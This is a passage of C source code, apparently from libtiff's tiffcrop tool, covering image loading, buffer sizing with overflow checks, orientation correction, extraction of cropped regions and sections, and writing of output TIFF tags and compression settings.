%lu", tlsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Tilesize: %u, Number of Tiles: %u, Tile row size: %u", tlsize, ntiles, tile_rowsize); } else { uint32 buffsize_check; readunit = STRIP; TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); stsize = TIFFStripSize(in); nstrips = TIFFNumberOfStrips(in); if (nstrips == 0 || stsize == 0) { TIFFError("loadImage", "File appears to be striped, but the number of stipes or stripe size is zero."); exit(-1); } buffsize = stsize * nstrips; if (stsize != (buffsize / nstrips)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } buffsize_check = ((length * width * spp * bps) + 7); if (length != ((buffsize_check - 7) / width / spp / bps)) { TIFFError("loadImage", "Integer overflow detected."); exit(-1); } if (buffsize < (uint32) (((length * width * spp * bps) + 7) / 8)) { buffsize = ((length * width * spp * bps) + 7) / 8; #ifdef DEBUG2 TIFFError("loadImage", "Stripsize %u is too small, using imagelength * width * spp * bps / 8 = %lu", stsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Stripsize: %u, Number of Strips: %u, Rows per Strip: %u, Scanline size: %u", stsize, nstrips, rowsperstrip, scanlinesize); } if (input_compression == COMPRESSION_JPEG) { /* Force conversion to RGB */ jpegcolormode = JPEGCOLORMODE_RGB; TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } /* The clause up to the read statement is taken from Tom Lane's tiffcp patch */ else { /* Otherwise, can't handle subsampled input */ if (input_photometric == PHOTOMETRIC_YCBCR) { TIFFGetFieldDefaulted(in, TIFFTAG_YCBCRSUBSAMPLING, &subsampling_horiz, &subsampling_vert); if (subsampling_horiz != 1 || subsampling_vert != 1) { TIFFError("loadImage", "Can't copy/convert subsampled image with subsampling %d horiz %d vert", subsampling_horiz, subsampling_vert); return (-1); } } } read_buff = *read_ptr; /* +3 : add a few guard bytes since reverseSamples16bits() can read a bit */ /* outside buffer */ if (!read_buff) { if( buffsize > 0xFFFFFFFFU - 3 ) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else { if (prev_readsize < buffsize) { if( buffsize > 0xFFFFFFFFU - 3 ) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } new_buff = _TIFFrealloc(read_buff, buffsize+3); if (!new_buff) { free (read_buff); read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else read_buff = new_buff; } } if (!read_buff) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff[buffsize] = 0; read_buff[buffsize+1] = 0; read_buff[buffsize+2] = 0; prev_readsize = buffsize; *read_ptr = read_buff; /* N.B. The read functions used copy separate plane data into a buffer as interleaved * samples rather than separate planes so the same logic works to extract regions * regardless of the way the data are organized in the input file. */ switch (readunit) { case STRIP: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigStripsIntoBuffer(in, read_buff))) { TIFFError("loadImage", "Unable to read contiguous strips into buffer"); return (-1); } } else { if (!(readSeparateStripsIntoBuffer(in, read_buff, length, width, spp, dump))) { TIFFError("loadImage", "Unable to read separate strips into buffer"); return (-1); } } break; case TILE: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read contiguous tiles into buffer"); return (-1); } } else { if (!(readSeparateTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read separate tiles into buffer"); return (-1); } } break; default: TIFFError("loadImage", "Unsupported image file format"); return (-1); break; } if ((dump->infile != NULL) && (dump->level == 2)) { dump_info (dump->infile, dump->format, "loadImage", "Image width %d, length %d, Raw image data, %4d bytes", width, length, buffsize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d", bps, spp); for (i = 0; i < length; i++) dump_buffer(dump->infile, dump->format, 1, scanlinesize, i, read_buff + (i * scanlinesize)); } return (0); } /* end loadImage */ static int correct_orientation(struct image_data *image, unsigned char **work_buff_ptr) { uint16 mirror, rotation; unsigned char *work_buff; work_buff = *work_buff_ptr; if ((image == NULL) || (work_buff == NULL)) { TIFFError ("correct_orientatin", "Invalid image or buffer pointer"); return (-1); } if ((image->adjustments & MIRROR_HORIZ) || (image->adjustments & MIRROR_VERT)) { mirror = (uint16)(image->adjustments & MIRROR_BOTH); if (mirrorImage(image->spp, image->bps, mirror, image->width, image->length, work_buff)) { TIFFError ("correct_orientation", "Unable to mirror image"); return (-1); } } if (image->adjustments & ROTATE_ANY) { if (image->adjustments & ROTATECW_90) rotation = (uint16) 90; else if (image->adjustments & ROTATECW_180) rotation = (uint16) 180; else if (image->adjustments & ROTATECW_270) rotation = (uint16) 270; else { TIFFError ("correct_orientation", "Invalid rotation value: %d", image->adjustments & ROTATE_ANY); return (-1); } if (rotateImage(rotation, image, &image->width, &image->length, work_buff_ptr)) { TIFFError ("correct_orientation", "Unable to rotate image"); return (-1); } image->orientation = ORIENTATION_TOPLEFT; } return (0); } /* end correct_orientation */ /* Extract multiple zones from an image and combine into a single composite image */ static int extractCompositeRegions(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 i, trailing_bits, prev_trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_rowsize, dst_rowsize, src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint32 prev_length, prev_width, composite_width; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract one or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src = read_buff; dst = crop_buff; /* These are setup for adding additional sections */ prev_width = prev_length = 0; prev_trailing_bits = trailing_bits = 0; composite_width = crop->combined_width; crop->combined_width = 0; crop->combined_length = 0; for (i = 0; i < crop->selections; i++) { /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[i].y1; last_row = crop->regionlist[i].y2; first_col = crop->regionlist[i].x1; last_col = crop->regionlist[i].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; /* These should not be needed for composite images */ crop->regionlist[i].width = crop_width; crop->regionlist[i].length = crop_length; crop->regionlist[i].buffptr = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * count) + 7) / 8); switch (crop->edge_ref) { default: case EDGE_TOP: case EDGE_BOTTOM: if ((i > 0) && (crop_width != crop->regionlist[i - 1].width)) { TIFFError ("extractCompositeRegions", "Only equal width regions can be combined for -E top or bottom"); return (1); } crop->combined_width = crop_width; crop->combined_length += crop_length; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + (prev_length * dst_rowsize); switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_length += crop_length; break; case EDGE_LEFT: /* splice the pieces of each row together, side by side */ case EDGE_RIGHT: if ((i > 0) && (crop_length != crop->regionlist[i - 1].length)) { TIFFError ("extractCompositeRegions", "Only equal length regions can be combined for -E left or right"); return (1); } crop->combined_width += crop_width; crop->combined_length = crop_length; dst_rowsize = (((composite_width * bps * count) + 7) / 8); trailing_bits = (crop_width * bps * count) % 8; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + prev_width; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_width += (crop_width * bps * count) / 8; prev_trailing_bits += trailing_bits; if (prev_trailing_bits > 7) prev_trailing_bits-= 8; break; } } if (crop->combined_width != composite_width) TIFFError("combineSeparateRegions","Combined width does not match composite width"); return (0); } /* end extractCompositeRegions */ /* Copy a single region of input buffer to an output buffer. * The read functions used copy separate plane data into a buffer * as interleaved samples rather than separate planes so the same * logic works to extract regions regardless of the way the data * are organized in the input file. This function can be used to * extract one or more samples from the input image by updating the * parameters for starting sample and number of samples to copy in the * fifth and eighth arguments of the call to extractContigSamples. * They would be passed as new elements of the crop_mask struct. */ static int extractSeparateRegion(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff, int region) { int shift_width, prev_trailing_bits = 0; uint32 bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, dst_rowsize; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract more or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; /* Byte aligned data only */ else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[region].y1; last_row = crop->regionlist[region].y2; first_col = crop->regionlist[region].x1; last_col = crop->regionlist[region].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; crop->regionlist[region].width = crop_width; crop->regionlist[region].length = crop_length; crop->regionlist[region].buffptr = crop_buff; src = read_buff; dst = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * spp) + 7) / 8); for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractSeparateRegion", "Unsupported bit depth %d", bps); return (1); } } return (0); } /* end extractSeparateRegion */ static int extractImageSection(struct image_data *image, struct pageseg *section, unsigned char *src_buff, unsigned char *sect_buff) { unsigned char bytebuff1, bytebuff2; #ifdef DEVELMODE /* unsigned char *src, *dst; */ #endif uint32 img_width, img_rowsize; #ifdef DEVELMODE uint32 img_length; #endif uint32 j, shift1, shift2, trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset, row_offset, col_offset; uint32 offset1, offset2, full_bytes; uint32 sect_width; #ifdef DEVELMODE uint32 sect_length; #endif uint16 bps, spp; #ifdef DEVELMODE int k; unsigned char bitset; static char *bitarray = NULL; #endif img_width = image->width; #ifdef DEVELMODE img_length = image->length; #endif bps = image->bps; spp = image->spp; #ifdef DEVELMODE /* src = src_buff; */ /* dst = sect_buff; */ #endif src_offset = 0; dst_offset = 0; #ifdef DEVELMODE if (bitarray == NULL) { if ((bitarray = (char *)malloc(img_width)) == NULL) { TIFFError ("", "DEBUG: Unable to allocate debugging bitarray"); return (-1); } } #endif /* rows, columns, width, length are expressed in pixels */ first_row = section->y1; last_row = section->y2; first_col = section->x1; last_col = section->x2; sect_width = last_col - first_col + 1; #ifdef DEVELMODE sect_length = last_row - first_row + 1; #endif img_rowsize = ((img_width * bps + 7) / 8) * spp; full_bytes = (sect_width * spp * bps) / 8; /* number of COMPLETE bytes per row in section */ trailing_bits = (sect_width * bps) % 8; #ifdef DEVELMODE TIFFError ("", "First row: %d, last row: %d, First col: %d, last col: %d\n", first_row, last_row, first_col, last_col); TIFFError ("", "Image width: %d, Image length: %d, bps: %d, spp: %d\n", img_width, img_length, bps, spp); TIFFError ("", "Sect width: %d, Sect length: %d, full bytes: %d trailing bits %d\n", sect_width, sect_length, full_bytes, trailing_bits); #endif if ((bps % 8) == 0) { col_offset = first_col * spp * bps / 8; for (row = first_row; row <= last_row; row++) { /* row_offset = row * img_width * spp * bps / 8; */ row_offset = row * img_rowsize; src_offset = row_offset + col_offset; #ifdef DEVELMODE TIFFError ("", "Src offset: %8d, Dst offset: %8d", src_offset, dst_offset); #endif _TIFFmemcpy (sect_buff + dst_offset, src_buff + src_offset, full_bytes); dst_offset += full_bytes; } } else { /* bps != 8 */ shift1 = spp * ((first_col * bps) % 8); shift2 = spp * ((last_col * bps) % 8); for (row = first_row; row <= last_row; row++) { /* pull out the first byte */ row_offset = row * img_rowsize; offset1 = row_offset + (first_col * bps / 8); offset2 = row_offset + (last_col * bps / 8); #ifdef DEVELMODE for (j = 0, k = 7; j < 8; j++, k--) { bitset = *(src_buff + offset1) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } sprintf(&bitarray[8], " "); sprintf(&bitarray[9], " "); for (j = 10, k = 7; j < 18; j++, k--) { bitset = *(src_buff + offset2) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[18] = '\0'; TIFFError ("", "Row: %3d Offset1: %d, Shift1: %d, Offset2: %d, Shift2: %d\n", row, offset1, shift1, offset2, shift2); #endif bytebuff1 = bytebuff2 = 0; if (shift1 == 0) /* the region is byte and sample alligned */ { _TIFFmemcpy (sect_buff + dst_offset, src_buff + offset1, full_bytes); #ifdef DEVELMODE TIFFError ("", " Alligned data src offset1: %8d, Dst offset: %8d\n", offset1, dst_offset); sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { bytebuff2 = src_buff[offset2] & ((unsigned char)255 << (7 - shift2)); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset2, dst_offset); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } else /* each destination byte will have to be built from two source bytes*/ { #ifdef DEVELMODE TIFFError ("", " Unalligned data src offset: %8d, Dst offset: %8d\n", offset1 , dst_offset); #endif for (j = 0; j <= full_bytes; j++) { bytebuff1 = src_buff[offset1 + j] & ((unsigned char)255 >> shift1); bytebuff2 = src_buff[offset1 + j + 1] & ((unsigned char)255 << (7 - shift1)); sect_buff[dst_offset + j] = (bytebuff1 << shift1) | (bytebuff2 >> (8 - shift1)); } #ifdef DEVELMODE sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset1 + full_bytes, dst_offset); #endif if (shift2 > shift1) { bytebuff1 = src_buff[offset1 + full_bytes] & ((unsigned char)255 << (7 - shift2)); bytebuff2 = bytebuff1 & ((unsigned char)255 << shift1); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 > Shift1\n"); #endif } else { if (shift2 < shift1) { bytebuff2 = ((unsigned char)255 << (shift1 - shift2 - 1)); sect_buff[dst_offset] &= bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 < Shift1\n"); #endif } #ifdef DEVELMODE else TIFFError ("", " Shift2 == Shift1\n"); #endif } } #ifdef DEVELMODE sprintf(&bitarray[28], " "); sprintf(&bitarray[29], " "); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } } return (0); } /* end extractImageSection */ static int writeSelections(TIFF *in, TIFF **out, struct crop_mask *crop, struct image_data *image, struct dump_opts *dump, struct buffinfo seg_buffs[], char *mp, char *filename, unsigned int *page, unsigned int total_pages) { int i, page_count; int autoindex = 0; unsigned char *crop_buff = NULL; /* Where we open a new file depends on the export mode */ switch (crop->exp_mode) { case ONE_FILE_COMPOSITE: /* Regions combined into single image */ autoindex = 0; crop_buff = seg_buffs[0].buffer; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = total_pages; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case ONE_FILE_SEPARATED: /* Regions as separated images */ autoindex = 0; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = crop->selections * total_pages; for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_IMAGE_COMPOSITE: /* Regions as composite image */ autoindex = 1; if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[0].buffer; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case FILE_PER_IMAGE_SEPARATED: /* Regions as separated images */ autoindex = 1; page_count = crop->selections; if (update_output_file (out, mp, autoindex, filename, page)) return (1); for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_SELECTION: autoindex = 1; page_count = 1; for (i = 0; i < crop->selections; i++) { if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; default: return (1); } return (0); } /* end writeRegions */ static int writeImageSections(TIFF *in, TIFF *out, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts * dump, unsigned char *src_buff, unsigned char **sect_buff_ptr) { double hres, vres; uint32 i, k, width, length, sectsize; unsigned char *sect_buff = *sect_buff_ptr; hres = page->hres; vres = page->vres; k = page->cols * page->rows; if ((k < 1) || (k > MAX_SECTIONS)) { TIFFError("writeImageSections", "%d Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections", k); return (-1); } for (i = 0; i < k; i++) { width = sections[i].x2 - sections[i].x1 + 1; length = sections[i].y2 - sections[i].y1 + 1; sectsize = (uint32) ceil((width * image->bps + 7) / (double)8) * image->spp * length; /* allocate a buffer if we don't have one already */ if (createImageSection(sectsize, sect_buff_ptr)) { TIFFError("writeImageSections", "Unable to allocate section buffer"); exit (-1); } sect_buff = *sect_buff_ptr; if (extractImageSection (image, &sections[i], src_buff, sect_buff)) { TIFFError("writeImageSections", "Unable to extract image sections"); exit (-1); } /* call the write routine here instead of outside the loop */ if (writeSingleSection(in, out, image, dump, width, length, hres, vres, sect_buff)) { TIFFError("writeImageSections", "Unable to write image section"); exit (-1); } } return (0); } /* end writeImageSections */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. */ static int writeSingleSection(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, double hres, double vres, unsigned char *sect_buff) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; /* Calling this seems to reset the compression mode on the TIFF *in file. TIFFGetField(in, TIFFTAG_JPEGCOLORMODE, &input_jpeg_colormode); */ input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeSingleSection", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif /* This is the global variable compression which is set * if the user has specified a command line option for * a compression option. Should be passed around in one * of the parameters instead of as a global. If no user * option specified it will still be (uint16) -1. */ if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { /* OJPEG is no longer supported for writing so upgrade to JPEG */ if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else /* Use the compression from the input file */ CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* holdout mask */ { TIFFError ("writeSingleSection", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } #ifdef DEBUG2 TIFFError("writeSingleSection", "Input photometric: %s", (input_photometric == PHOTOMETRIC_RGB) ? "RGB" : ((input_photometric == PHOTOMETRIC_YCBCR) ? "YCbCr" : "Not RGB or YCbCr")); #endif if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeSingleSection", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { /* These are references to GLOBAL variables set by defaults * and /or the compression flag */ case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeSingleSection", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* 